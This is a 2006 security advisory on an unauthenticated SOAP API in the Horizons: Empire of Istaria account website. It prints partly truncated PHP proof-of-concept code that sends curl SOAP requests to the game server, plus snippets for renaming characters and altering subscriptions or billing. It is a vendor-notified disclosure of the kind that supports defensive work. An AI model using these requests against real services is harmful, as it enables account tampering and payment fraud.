Advisory Name: Horizons: Empire of Istaria SOAP Vulnerability
Release Date: 2006-08-24
Affected Applications: Horizons Account Website / SOAP API
Affected Platforms: Horizons NA-Servers (Horizons Europe is not affected)
Local / Remote: Remote
Severity: High
Author: Bernd Kilga
Vendor Status: Notified. No patch available.
Copyright 2006 Console++
Overview:
Horizons uses a SOAP API to interchange data/commands between the Application
Server and several Clients. The API doesn't verify the source which does
trigger functions, which opens up multiple abuse possibilities.
A vulnerability has been discovered in the Horizons SOAP API that allows an
attacker to modify account and character information such as:
- change payment and subscription information
- create bogus/non-charged/unverified billings
- rename characters
- retrieve sensitive server/shard information
- activate/ban the account
- change account status like trial,
- add promotions (free, military, other promotions etc.)
- change/add keys
Vulnerability Example (standalone, noncritical):
%session_key%
';
$header = array();
$header[] = 'POST /DataAccess/dataAccessLayerWS.asmx HTTP/1.1';
$header[] = 'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 1.1.4322.2032)';
$header[] = 'Content-Type: text/xml; charset=utf-8';
$header[] = 'SOAPAction: "https://horizons.istaria.com/DataAccess/hsp_getCurrentShardCapacity_All"';
$header[] = 'Content-length: ' . strlen($contents) . ';
$header[] = 'Expect: 100-continue';
$header[] = 'Host: horizons.istaria.com';
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_VERBOSE, '1');
curl_setopt($ch, CURLOPT_URL, http://horizons.istaria.com/DataAccess/dataAccessLayerWS.asmx);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 4);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $contents);
echo curl_exec($ch);
?>
This example returns the current shard status.
%session_key% is a valid SOAP session-key, such as generated from
HorizonsLauncher.exe
SOAPAction: hsp_getCurrentShardCapacity_All is an example. any command listed at
http://horizons.istaria.com/DataAccess/dataAccessLayerWS.asmx?WSDL will work,
except those protected by 'serverPW'. The contents of the above URL has been
dumped into hzh.xml for better performance.
The enclosed php files allow to execute any command with any possible parameter.
Example: Rename your Character.
config['action'] = 'hsp_UpdateCharacterName';
$hzh->config['user']['_shardID'] = '1';
$hzh->config['user']['_bioteID'] = '123456';
$hzh->config['user']['FirstName'] = 'My_new_firstname';
$hzh->config['user']['LastName'] = 'My_new_lastname';
?>
This adjustment will rename the character matching the biote 123456 (and also
matching the specified username and password)
Other possible scenario involving a couple of lines allows to change the duration
of the current subscription or add a billing entry normally returned from online
payment.
config['user'] = Array
(
'userKeyID' => '',
'userID' => '',
'accountID' => '',
'userName' => '',
'password' => '',
);
?>
This code bit represents the basic configuration required to allow SOAP
interaction.
UserID and accountID can be retrieved from http interception when using
HorizonsLauncher.exe
Vulnerability limitations:
*Without* the knowledge of 'ServerPW' it's not possible to alter any data outside an
existing Horizons Account.
Vendor Response:
2006-08-24 - Vendor Notified.
2006-08-27 - Confirmation received from vendor (no fix yet)
Contact Information:
For more information regarding the vulnerability feel free to contact the author at
frame@console.cc
For more information regaring Console++: http://72dpi.console.cc/
The PHP Application Framework ($coma class) used to create the example application
is proprietary software and may not be redistributed or changed otherwise.
The Example Application ($hzh class) is under no license.
For more information regarding Coma: http://coma.console.cc/
Copyright 2006 Console++